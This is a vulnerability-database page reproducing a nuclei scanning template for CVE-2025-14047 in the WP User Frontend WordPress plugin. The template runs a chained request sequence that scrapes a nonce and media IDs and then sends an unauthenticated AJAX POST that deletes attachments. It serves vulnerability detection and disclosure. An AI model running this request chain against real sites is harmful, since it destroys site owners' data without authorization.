Lucene search
+L

User Frontend <= 4.2.4 - Missing Authorization to Unauthenticated Attachment Deletion

🗓️ 29 Jul 2026 05:02:25Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 2 Views

Attachment deletion in WP User Frontend due to missing capability check; upgrade to 4.2.5.

Related
Refs
Code
id: CVE-2025-14047

info:
  name: User Frontend <= 4.2.4 - Missing Authorization to Unauthenticated Attachment Deletion
  author: iamatownboy
  severity: medium
  description: |
    The WP User Frontend plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check in the Frontend_Form_Ajax::submit_post function.
    This makes it possible for unauthenticated attackers to delete attachment records through the plugin's AJAX handling when a public frontend form is available.
  impact: |
    Unauthenticated attackers can delete attachment records, causing data loss for media uploaded through frontend submission forms.
  remediation: |
    Update WP User Frontend to version 4.2.5 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14047
    - https://wpscan.com/vulnerability/e667278f-7563-4c58-ba82-a6d50e1a7a30/
    - https://plugins.trac.wordpress.org/browser/wp-user-frontend/tags/4.2.2/includes/Ajax/Frontend_Form_Ajax.php#L35
    - https://plugins.trac.wordpress.org/browser/wp-user-frontend/tags/4.2.2/includes/Ajax/Frontend_Form_Ajax.php#L55
    - https://plugins.trac.wordpress.org/browser/wp-user-frontend/tags/4.2.2/includes/Ajax/Frontend_Form_Ajax.php#L133
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-14047
    epss-score: 0.00245
    epss-percentile: 0.15881
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 4
    vendor: wedevs
    product: wp-user-frontend
    framework: wordpress
    publicwww-query: "/plugins/wp-user-frontend/"
  tags: cve,cve2025,wordpress,wp,wp-plugin,user-frontend,wpuf,authorization-bypass,unauth,ajax

flow: http(1) && http(2) && http(3) && http(4)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-user-frontend/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - contains(body, "User Frontend")
          - compare_versions(version, "<= 4.2.4")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /?rest_route=/wp/v2/media HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '"id":'
          - '"type":"attachment"'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: attachment_id
        part: body
        group: 1
        regex:
          - '"id":(\d+)'
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - 'id="_wpnonce"\s*name="_wpnonce"\s*value="([a-f0-9]+)"'
        internal: true

      - type: regex
        name: form_id
        part: body
        group: 1
        regex:
          - 'name="form_id"\s*value="(\d+)"'
        internal: true

    matchers:
      - type: word
        part: body
        words:
          - 'wpuf_submit_post'
          - '_wpnonce'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/

        action=wpuf_submit_post&form_id={{form_id}}&delete_attachments[]={{attachment_id}}&_wpnonce={{nonce}}&post_title={{rand_base(8)}}&post_content={{rand_base(8)}}&guest_name={{rand_base(6)}}&guest_email={{rand_base(8)}}@{{rand_base(4)}}.com

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100be868dadc6e8696b4883e1f2b340d929d2f002c613ebd88a140bca9f418559f1022055fd8cc0a4be3b75cbec79ab92fb6a283c00e4d8a37a69b75be73bf4a9c827ae:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jul 2026 10:42Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.15.3
EPSS0.00616
SSVC
2